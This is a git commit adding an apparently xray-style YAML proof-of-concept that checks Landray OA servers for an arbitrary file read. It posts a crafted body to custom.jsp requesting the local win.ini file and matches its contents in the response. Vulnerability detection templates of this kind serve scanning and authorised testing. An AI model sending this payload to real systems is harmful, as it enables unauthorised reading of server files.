更新poc

2026-09-26 21:21:53 +08:00 · 2021-06-18 10:30:01 +08:00
parent a8835a9fe4
commit ad1c53e3f4
7 changed files with 80 additions and 4 deletions
@@ -0,0 +1,11 @@
+name: poc-yaml-landray-oa-custom-jsp-fileread
+rules:
+  - method: POST
+    path: /sys/ui/extend/varkind/custom.jsp
+    body: var={"body":{"file":"file:///c://windows/win.ini"}}
+    expression: |
+      response.status == 200 && response.body.bcontains(b"for 16-bit app support")
+detail:
+  author: B1anda0(https://github.com/B1anda0)
+  links:
+    - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw